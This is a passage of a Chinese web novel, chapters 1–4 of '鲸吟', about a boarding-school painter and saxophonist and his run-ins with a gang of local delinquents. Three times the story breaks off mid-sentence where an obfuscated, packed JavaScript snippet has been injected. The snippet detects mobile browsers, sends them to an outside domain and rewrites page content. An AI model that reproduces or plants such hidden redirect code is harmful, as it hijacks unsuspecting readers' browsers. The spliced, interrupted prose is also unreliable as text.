《鲸吟》 1. 雨夜 陈向然想画画的时候，一个无人打扰地方是必须的。 即便文艺汇演开始了，他仍要在自己的节目开始前，从礼堂跑到学校后山。 带着妆容，穿着准备参加汇演的燕尾服翻出学校围墙。为了不让围墙顶的玻璃碴勾破衣摆，特地脱下外套，卷成千层卷，压在树荫里一块干燥的石头下。 白衬衫汗湿了贴在皮肤上，他觉得难受，扯了扯，却不能换校服——准军事化封闭式管理体制，出逃被抓回学校，不是通报批评那么简单了。 六点钟，空气比一小时前凉了。夕阳被夜幕挤压，燃烧的云团渐渐熄灭，淡红的余晖那样柔和。学校之外连空气也清新了，他踩过小水坑，朝街里小跑而去。 那幅一直没完成的绘画，今天终于又有了灵感。 这条街没有名字，“后街”是学生的叫法。前半段有景区、有山峦，有省重点排面的信海中学，街店喧闹；后半段下坡，通往山下的石川县城，和那所名不见经传的石川中学。网吧、酒吧、牛鬼蛇神集聚。 据说石中校领导一直致力于评选县一级学校，但因为毗邻山区，生源不好。升学率常年达不到要求。 陈向然钻进一条巷子，巷头藏了家小酒吧。广告牌的灯管扭成连体英文的形状，仿若画符。 他轻轻推门进去，门把上的风铃响了两声，四下冷冷清清。“吧台无人，不见那位熟识的酒保。 昏黄的旧吊灯，劣质灯泡上几只米粒大小的飞虫。“嘎吱”踩过发霉的木地板，他的宝贝就藏在最角落的双人卡座。手伸进缝隙，抽出一本画纸、一套廉价的颜料和画笔，就开始画。 只要赶在自己节目开始前回去便好。 “轰隆”滚过一声闷雷，雨大颗大颗的，珠玉般倾盆而下，镇压整条街的矮房、电线杆、自行车。落地窗上雨水奔流，摩托车红光闪烁，鸣叫不停。 透过这扇落地窗，正瞧见山顶一座寺庙，此时庙里的大铜钟准点敲响，钟声茫茫穿透雨雾，笼盖整座青山。 按照家长的话来说，这庙保佑着学校风水。每年高考都有许多人前去烧香许愿。 酒吧侧门“砰嗒”撞开，一群少年冒冒失失闯进来。 “嘁……又他妈给老子下雨。” “背死咯今天。” 那些人头发四处岔开，衬衫濡湿几块深色痕迹。雨珠嘀嗒，湿了木地板。他们个别染了头发，或皮带垂在腿侧，或只戴一只耳环。 陈向然抬抬眼皮，他们和自己差不多年纪，至多年长一两岁。 “恺哥恺哥，今天生哥不是说，没有雨的嘛。” “恺哥”猛抽了店里十来张纸巾，往头上胡乱擦拭。扯开黑灰色牛仔衣的扣子，露出红色内衬。裤腰上还别了链子。都是便宜货，然而他有意搭配，咋一看有点嘻哈味道。 一个衣品上乘、极会打扮的男生。 “傻的么？生哥是天气预报？”恺哥往兄弟头上招呼一巴掌，仿佛很嫌弃。 人一多便吵闹起来，陈向然渐渐有些烦躁。 他不停试色，不断更换鬃毛笔，烦躁地敲击笔杆，戳磨调色盘里的深蓝颜料。折腾半天，画纸涂了六分之一。 “这不申恺嘛，有空光临我们小破店？” 说话的少女不过十六七，陈向然认识，是老板的女儿。她从里面掀帘出来，有意无意地提提衣裙吊带，摘下皮筋，头发随意地披散下来，垂在突出的锁骨上。 她手上没有烟，身上却有股淡淡的烟味。 “来看你嘛。这么久没见。”申恺见是熟人，索性借雨水，给自己抹了个三七分背头，凑到吧台边，“不请恺哥一杯？” “知道我叫什么？” 被问住了，申恺眼睛滴溜直转。这当然是以前某个相好，不过叫什么……分手时间一长，早对不上名字了。 女孩没什么表情：“想喝酒，拿钱来换。” 申恺趴在吧台上，两眼观察着女孩。 忽然一笑：“明白，我开玩笑的。不白喝。” “谁都分不清，你哪句话是玩笑，哪句不是。”女孩倒好冰橙汁，放餐盘里，“也数不过来你一个玩笑，跟多少个女孩开过。” 申恺抿了抿嘴，顿了片刻，故作无奈：“我在你这，是这样的人了嘛？” 女孩没给他一眼，端起餐盘离开吧台。 陈向然低头耷眼——画里的蓝色涂得深了，他叹了口气，画了一周的半成品揉成了团。 心里烧起股无名火，怎么压都压不住。也罢，他的情绪总像过山车一样。 “向然，你点的橙汁。”女孩把橙汁放在他面前。 橙色流转的泡沫一点点破开去。陈向然握住杯子，冰冰凉的。灯光将他的脸映在铺满水流的玻璃上。 情绪稍微冷却下来。 “谢谢。”他说。 女孩给他送完橙汁，刚刚扭头，就止在原地。 申恺堵住了她的去路，手握住她单薄的肩，表情空白，读不出任何情绪。 女孩盯住他：“你滚不滚？” “不能多说两句话？我就是想问——” “你再不滚，我喊非礼了啊。” 申恺缓缓放开她，状似温柔地一笑：“你在这喊，只能喊到我的人。” 女孩冲着酒吧外喊：“救命啊！救命！有人——” 只听重重一声“啪”。 陈向然拍桌站起。 他不画了，画本和颜料都堆放在桌子一边，就从卡座里走出去，跟申恺打了照面。 一个嘻哈，一个西装，面面相觑，别提多滑稽。 女孩仿佛见到靠山，窜到陈向然身后。 申恺轻“呵”一声：“见义勇为？” 陈向然画着要上台的浓妆，西装加身，没穿校服，显一股“妖气”。这些人还不敢断定他是不是附近学生。 “我一周没出来。”陈向然慢慢摆出笑脸，眼里冰凉看不出笑意，“一出来就遇到你这种除了骗骗女孩子别的没用的货，来搅人清净。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301920|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在“没用的货”上加了重音。靠撩拨异性的数量来增长自信的少年人，最怕自己“没用”。 对面沉默良久，嘴里烟抽不过两口，当即抡来一拳，连同指尖夹的烟支，火星子差点烫在陈向然脸上。 陈向然只觉耳边“呼”一阵风。申恺力道过猛，一个趔趄朝前摔去两步。陈向然一脚补去，四两拨千斤，申恺霎时扑出去两米，被他的兄弟接住。 女孩见势不对，悄悄躲进里屋，不再出来。 “敢踹我……”申恺很沉很沉地喘着粗气，咬牙一吼，“都来，给我群踩！” 一群没干透的落汤鸡一拥而上，陈向然端起一把塑料椅横空甩去，砸倒两个人。他扭头去开大门，岂料有人从侧门绕到前门，围住了去路。 再回头，申恺站在身后，抱臂看他，仿佛他是那滑稽的无头苍蝇，哪也飞不出去。唇边的香烟一抖一抖的，笑得得意—— 突然敛去表情，一脚将陈向然踹得后退。 四周呼拥而来。陈向然一边用凳子招架，一边护住脸上的妆。 “干什么呢？” 这声音只淡淡吐露几个字，所有人倏然停下，空气霎时凝固。 酒吧吊灯接触不良，“滋啦”闪了一下。 一个高个子站在侧门阴影里，提了把湿漉漉的黑伞。一双开了线头的帆布鞋露在灯光下，向前迈了一步，又一步，在突然安静的酒吧里叩出回声。 高个儿“嘎吱”、“嘎吱”踩着腐朽的木地板，一点点走到灯下。眼睛在黯黄的光线里宛如两颗琥珀珍品。他扫视众人，目光最后放在陈向然身上。 陈向然也茫茫然看他。 “让你们找个人，”他微微蹙眉，“谁让你们出来撩架？” 一群人瞬间立正：“生哥好！” “打听到什么了？”他问。 申恺脸一皱，似乎很为难：“就一信海的学生，你非得找嘛？” “生哥”说：“嗯，认识认识。” 申恺只知道他生哥常抱着把吉他，怎么也没想到，自家大哥这么认可一个吹萨克斯的，还非得见上一面。 那高个儿目光灼灼，陈向然没敢看别处。四面楚歌，他担心今天别说演出，学校都可能回不去。 也罢，大不了扣个分，取消个寄宿，说不定还能转个学，离开这所让人无比厌倦的学校…… 想到这他还笑了笑。 “笑什么？”对面的大高个说。 陈向然：“还不能笑，你谁啊？” 申恺当即上来扯他，两眼瞪得像是下一秒就要发射激光炮：“这是生哥，我们这片街区的老大，明白没？” “还老大，幼不幼稚。” “幼不幼稚马上就让你体会，轮不到你——” “松开。” 生哥发话，申恺只能放下公报私仇的心，默默松开陈向然的衣领。 “齐怀生。”高个子自我介绍起来，声音慢悠悠的，又低又沉，“想在这边挑事的，最好记住我的名字。” 2. 生哥 齐怀生目光聚焦，一双瞳孔色调深沉却微亮，像闷在黑夜里燃烧的野火。 他看着耐心，其实暗含威胁的意味。陈向然想，这个人一定有什么方式，能让申恺这样自尊心强的一类人俯首。他初步推断——这人不能惹。 也不能怂。 “生哥啊……”他若有所思，“哦，天气预报，还是反向的。” “……”申恺面露凶光，被齐怀生瞟一眼，愣在原地，悻悻收起表情，愤愤地“哼”一声，转过脸。 齐怀生似乎是动了动嘴角，被气笑的，陈向然看出他不比申恺气得轻。 他穿过在场的人，来到陈向然面前，靠得极近，又迟迟不说话，用这种方式给人压迫感。陈向然听到他很轻的呼吸。 阵雨冰凉，哗啦啦倾盆而下，隔绝在酒吧门外。 陈向然紧张，越紧张，越扯着嘴角笑。在人看来仿佛是挑衅。 “替人出头是有代价的，明白吗？”齐怀生捏住他下巴，迫使他抬头与自己对视，“不学聪明点，就只有被吃的份。” 他在“被吃的份”上加了重音。 陈向然眼似深潭，当场有样学样，也动作生硬地捏过他的下巴：“我一个糙汉子，生哥也吃得下？”说完他还被自己逗乐了。 齐怀生感到吃了一瘪，放开陈向然，也拧开他的手。远了半米，反倒打量起这个红唇眼影的“糙汉子”。 目光掠过少年柔软乌黑的发梢，往下，到被白衬衫修进裤腰的瘦削腰肢。再抬眼见他一脸婀娜的妆容，也不知是哪路货色。 偏偏还拿出一副正道模样。 齐怀生还没说，申恺就迫不及待话赶话：“我们生哥还就什么都吃得下！” “……” 齐怀生斜睨他一眼。 另一个说：“别不识好歹，生哥身边上赶着的人，排队排到山下去咯。” 陈向然摸摸下巴，发挥他超乎常人的想象力，从刚才的两句话中，联想出这些人“万花丛中过”的姿态。不禁轻笑一声：“你这样的，我见多了。你还嫩点。” 齐怀生微一眯眼，心想这样的妖艳货色，也不知混的哪块地方，见多了某些东西很正常。可这么说就是瞧不起人了。他猛然扯过陈向然的衣领，逼得他朝后仰：“哪样？你很嚣张？” 对方的气息喷到脸上，陈向然举手投降，脸上寻衅似的，眉眼一弯，若隐若现地笑着。他想起母亲身边那些男人，一个比一个能说会道，嘴甜，讨人欢心。 她有钱，那些男人都喜欢她的钱。 “想知道吗？”陈向然开始周旋瞎扯模式，“这次放我走，下次就告诉你。”不会有下次了。 “不想。”齐怀生面无表情地放开他，“你可以走。只要别再让我看到你打扰我兄弟找人。” 陈向然故意听错：“打扰你兄弟拐人？你们都什么团伙？” 申恺：“学习小组。” 陈向然：“……” 得，都是学生。 一屋子不正经的气息，还学习小组？脸都不红。 水珠、雨幕，飞流而下。街上积水浑浊，哗哗奔流。 陈向然离开酒吧时，雨还没停。雨水顺着街路的坡度滚进下水道，又急又猛地，汩汩奔流。申恺从店里搜刮出几把伞，一把都不给他留，说他们弟兄几个两两一把，还不够呢。 他只好沿着街边雨檐走，走到断了遮挡的地方，正到一家摩托车维修铺。店里有人，跟修车师傅借。师傅看他一身打扮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301921|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，拧紧了眉头，还是默默递了把旧伞给他。 今天是校赛获奖者的表演场，当前节目是古筝快板配合人声合奏，乐曲欢快如马蹄，奔跑在无边无际的原野上。礼堂满是闹哄哄的喝彩。 后台文娱部的学生在确认表演者是否就位。 “下个节目是一个话筒，记得撤掉三个。” “乐器准备好。” “表演者是……高一·十六班，陈向然！” “陈向然在哪？” 没有回应。 台前节目已到了尾声，台下掀起一片雷动。主持人提着裙摆，正要上台报幕，发现表演者还没就位：“还没来吗？怎么办部长？” 掌声渐渐停息，道具已经撤完，后台急晕一片。 “算了，可能不来了。不能尬场，我们结束——” 后台门“砰”一声被踢开，陈向然从外面跑进来。 “不好意思。”他喘着粗气，“结束了吗？” 他衬衫略微皱巴，燕尾服后摆沾了些草根，妆也淡了，负责化妆的女生上来给他补粉扑和口红。 文娱部长呆呆地看着他，叹了口气：“还没。” 主持人台上报幕，台下掌声相迎。礼堂后门站了一堆专门来看陈向然的学长学姐。 全场屏住呼吸——陈向然终于从台后走到台前。他站到话筒跟前，提起手里的萨克斯。 金色乐器闪闪发亮，这一刻无人去注意他着装的瑕疵。乐律如轻羽飞舞，飘出礼堂外，飞往高远的天空，与山顶的钟声融为一体。他吹了一曲具有南洋风味的歌乐。是前不久在网上搜来的，一首淹没在互联网角落的小曲。 他深深认为，是靠着这样的曲目，他才能在比赛中脱颖而出。 3. 作品 陈向然想起昨晚废弃的画稿，就觉得可惜。 天色灰白，苍云由近而远从教学楼上空推挤翻滚而去，云影游动在手里的稿纸上——那上面零零星星写了换算公式，和一幅逼真的向日葵素描。陈向然随手画了个花盘，试试手感，一边构思本学期的黑板报。 上个月也不知谁给班长捅的消息，说他会画，画得好，只要放由他发挥，班里的黑板报就没有问题。说到底也不存在“放由他发挥”。给校领导看的东西，规定和要求有一箩筐，要画什么，什么不能画，最后成了照猫画虎。 何况是在这样的学校。 “怎么样向然，可以吗？” 陈向然抬头，桌边站着班长潘千慧，一个略略丰满、大方自信的圆脸姑娘，正取下脑后的橡皮筋，把带点棕色和自然卷的头发拢了一遍，三下五除二重新扎好了。 “就向日葵？”陈向然低头看稿纸，“象征……我们？”后半句语调微微上扬，有一丝调侃意味。 “嗯。老严说的，象征青春朝气的我们！”潘千慧也跟着侃，后半句念得如朗诵似的。老严是班主，教化学，照本宣科念PPT是其显著风格。不过听说，还是有很多人冲着他的高职称纷纷找他课后补习。 潘千慧俯下身，端详他桌上的线稿。她好像也不在乎什么青春朝气，只想完成作为班长的任务。 答应了事儿，陈向然只好负责到底。 黑板报完成那天，十六班门里门外聚了一堆看客。一传十十传百，凑热闹的人越来越多。有的是别的班的板报小组成员，专门过来取取经。 “太逼真了。” “那个用色，是我不会形容的艺术感。” “是他画的吧？器乐赛那个拿奖的萨克斯手。” “牛逼咯，那个文艺小王子。” 陈向然用外套盖住头，隔绝了耳边嗡嗡的喧闹声。他不算很困，只是觉得吵，还不断听到自己的名字被班里人宣传出去，只好装作闭目养神。 喧闹只持续了一上午。中午放学，班里人陆陆续续走光了，他还对着题本上的直线平面、向量夹角咬笔杆。他做完一套题，用红笔批注好对错，打算歇一会。 时钟“咔嗒、咔嗒”，走到五十五分。椅脚翘了一下，又翘一下。 他觉得无聊，干脆站起来，跳坐上最后一排某张课桌，手撑在身后，荡着小腿，仰头看着自己独自完成的板画。 班里会画画的人不多，一个是他，一个是艺术生舍友程希。板报图画少，大部分是文字，老严便随手指定一个人画。也不知怎的，指上了他。 十朵向日葵伸展柔软的花瓣，层层叠叠，分布在文字的间隙里，用丝线悬挂在板报顶部的藤蔓。下方一个硕大的花瓶，盛装了向日葵的花枝。刚画完时班主找过他，说他要是画成一片原野上茁壮生长的向日葵丛，就更好了。 但画已成，再改也来不及了。 “你经常……画这样的画吗？”身边多了个人。 陈向然扭头一看，很意外，说话的是班里最安静的女生，叫叶知。面容的轮廓很柔和，皮肤略显苍白，说话也轻声细语。她从不主动和人交流，下课永远看到她在座位上涂画、写字，或者看书。 陈向然偶尔经过她的空座位，会看一下她的书堆，都是图书馆借来的，杂七杂八，大部分是当代小说和哲学书。最近也有个别“旁门左道”的美术鉴赏书。他偷偷翻过，所谓“旁门左道”当是有趣得很，让他发现还有这样欣赏作品的视角。 他没回答，叶知接着说：“用暖色系，橙黄渐变，咋一看很热烈，朝气蓬勃。但因为饱和度太高，显得沉重了。看得太久，心里穿透那股热烈，会突然冷却下来，感受到这幅画传达的孤独情绪。” “所以大家看得久了，发觉不对，赶紧溜了。”陈向然转头看她，半开玩笑地接她的话。 叶知的眉骨比大部分女生高，看上去目光很深，瞳仁像葡萄一样黑盈盈的，冲他浅浅地一笑：“只是我的理解。” 板报而已，陈向然没有认真对待，毕竟不会有人认真看。但还是无可避免地，在构思里溢出什么东西。 “你不去吃饭吗？”叶知回座位上拿饭卡。 “我带了面包。”陈向然收拾书包，拉上拉链，“回宿舍吃。” 叶知说：“当心被抓，扣分。” 陈向然说：“知道。” 想想叶知的话，陈向然有一丝际遇知音的慰藉。不过，还有她没注意到的部分—— 向日葵上方放射状的线条细若蛛丝，是这些丝线将它们吊出了最好看的姿态，十朵向日葵修剪枝叶插.入花瓶，才从原野卉植变成一个插花作品。 木偶一般。 那些丝线是一开始画的参考线，绘画结束时，他忽然不想擦去了，就留着。 高一宿舍楼在学校后方的山坳里，临靠后街，和他翻墙的地方。三楼以下潮湿昏暗，鼠蚁横行。那些人卷着校服裤脚，提一桶衣服，湿拖鞋踩过人来人往的狭窄走廊，弄出一地水渍。 陈向然在门口换了拖鞋，走进宿舍。舍友正堆聚在阳台，有的手里还拎着脸盆，嘻嘻哈哈不知讨论什么。 “最近行情不对，晚饭去后街吃一顿都难咯。” “文具难道不让买么？学校哪知道我们去后街干嘛。” “快看楼下，走过来那几个，是他们嘛？” 陈向然被勾起好奇心，凑到他们中间往楼下看。他们宿舍在三楼，可以清楚看到楼下经过什么人。 …… 申恺？ 是昨晚见过的那群，勾肩搭背横穿后街，仔细一看都还是上回那套外衣，看个头顶也能认出来人。 舍友叽叽喳喳，完全没注意到他。 “你们认识他？” 陈向然突然发问，七个舍友魂被吓飞，阳台不过一丈见方，相互一撞，口杯水瓢、瓶瓶罐罐叮铃咣啷滚了一地，所有人忙着捡起来。 “然哥，”程希猛喘几口，砰砰拍打胸脯，“咱下次出点儿人声，行不？别鬼鬼祟祟的。” “你们认识那些人？”陈向然蹲下去帮着捡，一边追问。 程希告诉他，是石川中学那边的混混，最近常往海中这一带乱窜，学校可能什么时候就要彻底禁止学生外出了。 陈向然说他混他们的，不招惹他们不就行了。程希才说，有人被打了。 被围攻的是学校风纪自管委员会的高二学长。据这个学长说，是他们风自委内部某个高一的“老好人”，跟石川中学人称“生哥”的混学生有勾结。陈向然知道这个“老好人”，叫纪封道，太过优秀，各方面无可挑剔的“完美”学生。所谓枪打出头鸟，这个纪封道经常成为话题。 因此没人相信这事，但校领导总归是要警惕，宁可禁闭三千，不能放出一个。 比起这个人，陈向然更好奇“生哥”。想起那双燃烧的眼睛，饶有兴趣：“混学生为什么听他的？” “假的，肯定假的。风自委是什么？俗称校规锦衣卫，学校的看门狗。纪封道想当会长怎么都不可能跟生哥那种有交集吧。”程希刚收完衣服，放下撑衣杆，进屋里，把衣服往行李箱一股脑塞进去。 “咚咚”两声叩门：“风自委巡查。” 来了。 陈向然一回头，就见两个戴红袖圈的人走了进来。 宿舍昏暗，只有阳台透进来的几道被树叶筛过的光——看不清那两人的脸。 他自小有爱幻想的“毛病”，因而常常走神发呆，思绪一闪，徐徐悠悠去往另一个世界。 就譬如此时，他正把那两人看作阴影中饥饿的兽。 他们两眼精光，四处嗅闻。在四号柜子上嗅到残肉的味道，互相耳语了什么话，咧了咧嘴，像月夜枯树下两只微笑的山猫。山猫在板子上刻下爪印，发出难听的刮擦声。 “4号床程希，扣两分。” …… 人都走了，程希还愣在原地。整个宿舍跟着他沉默很久，互相交换着眼神。 最后还是程希自己低骂了一句“神经病”，行李箱暴躁地踹进床底。 都是这所准军事化学校的日常。 从凌晨战斗到入夜的每一天，叠成豆腐块的被子，一个褶也不能留的床单，从高到矮摆放的洗发水瓶罐，从长到短排列的毛巾。别的宿舍为一根头发、一片纸屑扣谁的分而争长短，也就这个宿舍还算和谐。陈向然经过这两个月，大抵认命了。 “两分，扣什么？”程希的上铺弱弱地问。 “柜子脏加违禁零食。”有人这么说。 “应该不是肉干，就是块污渍，不用点高碱性的洗洁精哪擦得掉？” “高碱性，咱这有卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301922|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “同情希哥两秒……” 舍友们嗡嗡吵闹，陈向然塞上耳机，裹好被毯，偷摸摸遮住手机和耳机线，躲进床铺，拿出题册准备写。 这些日子换季，山里气温降得快，风仿佛受伤的巨兽，呜呜地伏着山地哀鸣而过。阳光苍白地氤氲在阳台门口，光影发灰、发青。 怕是又要下雨。 他望着外面的天，想起某个反向的天气预报，觉得下次可以让他播报一下。 他又逗笑了自己，怎可能会有下次。 手机呜呜振动，他从被子底下掏出来，亮屏——是母亲林岚。 他翻身下床，电话得到厕所里接，宿管的眼睛是白天的显微镜、夜里的红外线，随时可能把人扫描进档。 “向然，吃过午饭了？” 声音听上去心情不错。 “嗯，吃过了。” “在学校还好吗？妈妈刚刚才知道你又拿奖了呀，还有板报，家长群在夸你。嗐，弄得妈妈挺不好意思的。下半学年有什么比赛，尤其是省的，都去参加一下。对自主招生有用的。” “不过学习可不能落下啊，咱们下学期要分去理重点的，分数得够。” 林岚很能说，经常用“咱们”、“啊呀”一类的词语，显得他们之间有多么亲近。她兀自言语，不怎么停下来，他时常插不上话。 厕所很窄，上方有个天窗，他就那么望着窗外灰蒙蒙的四方天。 “我……不参加了吧。” “不拿几个奖，你从小学这些东西，不是浪费了？” “不是您说的，学这些为了陶冶情操么？” “也要多多展示自己嘛。你是妈妈这辈子最好的作品。” “那……”陈向然吞咽了一下，顿了两三秒，“艺考的时候展示呗。” “艺考啊……” 提到艺考，对面不出所料地沉默了三秒。 “然然啊，你想艺考的事，别轻易和人说。大都成绩不好的才转艺考呢，说出来让人奇怪。况且，艺考也要好好读书呀，我们先把书读好，行吗——哦，你们班主来信息了。唉你看，这次期中考又……” 他曾发现过一件事。关于他无法控制的幻想。 经过反复验证，他几乎可以笃定，在林岚训话的半分钟内，他的鲸鱼会来。他观察过它——在黑暗的深海时隐时现，模糊不清——因此他只能确定它是蓝色，不确定它的品种。可能是座头鲸，因为它会咿咿地唱歌，自深海向上游去，因为浅海有阳光，还有天空。 起初他觉得，只是他不由自主的幻想。后来成了条件反射，周围任意事情都可能成为开关。让他暂时回到吟唱声中去。 聊完电话，午休铃声响起，所有人按规定都得待在床上。身体任何部位不可超出床的范围，包括将小腿垂在床边。 陈向然往枕头上一躺，被毯蒙住头的一瞬间看到一抹棕红色，一下掀开，看到在床头倚了两天的雨伞——还没还给修车铺。 下午五点半到六点半，是学校规定的可出校一小时。超过六点半回校便又是扣押校卡，加一桩处分。 陈向然将校卡扔在门房桌上，从门缝一钻，便从象牙塔入了闹世。 天色滚烫，浑厚的云层压不住夕阳余晖，金光熔化了云朵的轮廓。下班放学的晚高峰时间，白领、学生、工人混杂着穿过长街。陈向然在人潮中轻盈地穿梭。 远远的，人流中钻出一群好不和谐的人物。 这些人没有工作服，也不穿校服，仿佛不属于任何地方的游民，在街上突兀地行走。陈向然顿了顿脚步——那个吊儿郎当依旧穿得很酷的是申恺，神色沉闷、不怒自威的高个，是齐怀生。 他笑了，毫不回避，甩着手上的雨伞径直走去。 直到那群人个个瞳孔收缩，反应过来，纷纷挡住他去路。 就料到是这样，他停下来，头一摆看向别处，肩上的伞晃了一晃。 齐怀生看到他，眼神微变。 少年这回穿着清爽的蓝白校服，头发没有发胶，随风软软地飘。也没有化妆，五官轮廓比上妆时英朗了几个度。眼皮松垮地耷着，眼神仿若飘在世外。他两脚同肩宽自然地站着，仿佛在等他们让开。 “靠……那个妖孽，”只听申恺咬牙，低低地嘈了一句，“特么居然是海中的！” 4. 周旋 陈向然不疾不徐，欣赏完他们惊愕的表情，抛了一下伞，再稳稳接住，要笑不笑地绕过他们。他余光瞥见这些人的目光，追光似的，随他移动。直到他越过齐怀生，经过申恺。 “等等等等一下。”申恺推了他肩膀，“不认识了？” “认识。”陈向然笑了，故意看齐怀生，“天气预报。” 齐怀生：“……” 申恺掰着拳骨就要走上去，再次被齐怀生摁回原地。 路过的学生和他们保持两米以上距离绕开了走，只有他头也不回地从他们一群人中间大摇大摆穿过去。 印象中，这种私生活混乱的小混混该是脾气暴躁、唯恐天下不乱，就这么放过他反而不对。他走出去几步，身后果然叫住了他。 “喂，”是齐怀生，“你叫什么名？” 他站定，不耐烦地深呼吸一口，回头哂笑：“想认识我啊？” 他只想膈应得对方再也不见，免得再被挑起烦躁的感觉。哪知对方缓缓走过人群，站在他面前，嘴里不知何时叼了根烟，似是十分笃定地点了头。 他说当然，认识一下呗。 齐怀生的脸迎着夕晖，柔光修饰了他冷硬的下颌线，让他不像那天晚上那么咄咄逼人。后街熙攘，他们像海浪上的两个固定的锚点，任人潮来去，岿然不动。陈向然的影子一直延伸到他身上，只稍一动，发丝轻轻扬起，齐怀生的脸便明明暗暗，斑驳不清。 他在心里“啧”了一声：“陈向然。” “海中的？” “不然呢？” “那问你个事儿。”齐怀生重心倾斜向左脚，头微微低下来，像是在配合他的高度，“你们学校，有哪位会吹萨克斯的？” “……” 他想起放在音乐社的那把萨克斯，是从家里带来的。他五岁开始学，除了萨克斯还有其余杂七杂八的培训班，钢琴、箫、武术、网球……两只手都数不过来。因为林岚说，要全面发展，要挖掘潜力。 他知道不只有自己是这样的，学校里会吹萨克斯的，光他知道的就有好几个。 他轻笑：“我为什么要告诉你？” “有什么要求，都可以提。”齐怀生从口袋里掏出钱包，在手心里“啪”地一拍，“钱也可以。帮我把人带来，让我问两句话就好。” “行啊，那你们这些人，最好去向受害者道歉再说。” 只是随口一说。他就不爱管人闲事。那天晚上不过巧合。那群人恰好就进了酒吧，制造了那样的喧闹，恰好就害得在他脑海中刚出现的鲸鱼，一摆尾，又消失在那片深海中。 他甩着雨伞转身就走，另一只手腕被人“啪”地抓住，一使劲，又被拉回身边。 肩膀在齐怀生胸膛上撞了一下。一阵檀香气偶然地钻入他的鼻腔。上回见到他，知道他抽烟的，还抽得猛，身上却没有太浓的烟味。 他推开对方，手腕还被死死攥着，一点松的意思都没有。 “你说那天晚上那女孩？”齐怀生的声音没什么起伏，“道完歉，就能帮我带人？” 他没想到这家伙认真的，怎么都敷衍不过去，叹了口气：“帮你带人，我是要吃惩罚的。” “我说了，有什么需要帮忙的，都可以提。” “帮忙？” 陈向然抬头，望向街边店铺上方高高的山壁，山壁上方是海中的学校大门。山里地形高低不一，围墙也随着坡度上下波浪。他再度看向他们时，忍不住冷笑。 “好学生有那么难么？”申恺一撇嘴唇，两手插着口袋站出来，银链子敲击着腰带上的铜扣，叮铃叮铃响，“我们那边，每次教导主任抓纪律都是里应外合的啦，编个假话很容易的同学。” 如他所猜，这些人是石川中学的学生。 “在我们学校，教导主任都没见到，”陈向然摊开手，“就被门房保安扣分了。” 申恺：“……” 陈向然指着手腕上那只青筋浮起的大手：“松开。” 齐怀生只好放了他。 遇上这些人太浪费时间了。 去临近石中的那段，伞还给了修车的师傅。这师傅一看见他的校服，神色和那天完全不同了，和蔼可亲，笑脸相迎。说那天看他浓妆艳抹的，挺奇怪，以为他是这条街的，不是石中的捣蛋学生，就是搞推销的。 陈向然知道他还隐瞒了一些选项没有说，比如陪酒郎，或者同性恋。 他几乎踩着六点半进学校，没等保安确认他是否迟到，抄起桌上押放的校卡就跑。 一路迎着灰色石块堆砌的冰冷建筑，和建筑上方烧红的天，跑过一段斜坡和楼梯，绕过空旷风大的行政楼广场。飞鸟从楼顶起飞，披着金红交叠的云彩，掠过陈向然头顶的天。 他放慢脚步，走了大约百米，穿过高一教学楼的四楼走廊，再往上一层，才到十六班教室。 教室里零零星星坐了十几个人。刚坐下，屁股还没捂热，前面的程希回了个头，“啪嗒”丢下笔就过来了。 陈向然朝他看去，愉悦地把他看作一只毛绒绒的小猕猴，四肢慌张舞动，三两步蹦来，坐在他前面的位置，两个爪子“哒”放在他课桌上。 光看着他，也不出声。陈向然用笔头在他爪上打一下，声音有种轻飘的懒散：“有事儿，就说。” “你没事儿吧然哥？”程希本就大的眼睛睁得更圆了，眼白还多，看着吓人。 “什么事儿？” 他左右观察两眼，低声说：“叶知妹子说你在校外被那群人拦了，你没被搞吧？” 叶知？ 窗边的纱帘被风带到课桌上，撩拨了一下书页。 陈向然抽出要写的题册甩在桌上：“没啊，你想说什么？” “小心点儿呗，你知道嘛，那个被暗算过的胡晟学长，今天又说他被暗算了。” 陈向然前后联系了一下，扯了一下嘴角，摇摇头，翻开题册：“这你都信？” “怎么不信？” 陈向然从题册里抬头，故意留出调侃似的沉默。 “都说被暗算了，一点伤都没有。”陈向然摸了一下手肘上的皮外伤，那是几天前被申恺踹出来的，“不科学。要么他在撒谎，要么对方只是吓吓他。” “我听说，他们中有个叫生哥的，狠角色。只是吓吓，这混混不白当了嘛？” “混混。”陈向然望望窗外，勾勾嘴角，“嗯……说不定人家还学习小组呢？” 程希：“……然哥，你这算是，帮他们说话？” 陈向然抽出一支中性笔，开始在题目上圈圈画画，画出重点条件来。是一道三角函数填空，他在题目边上的空白处画了不明所以的几笔，就心算出答案，填上了空。 半分钟过去，程希仍然没走——他看着教室后面的板报出神。 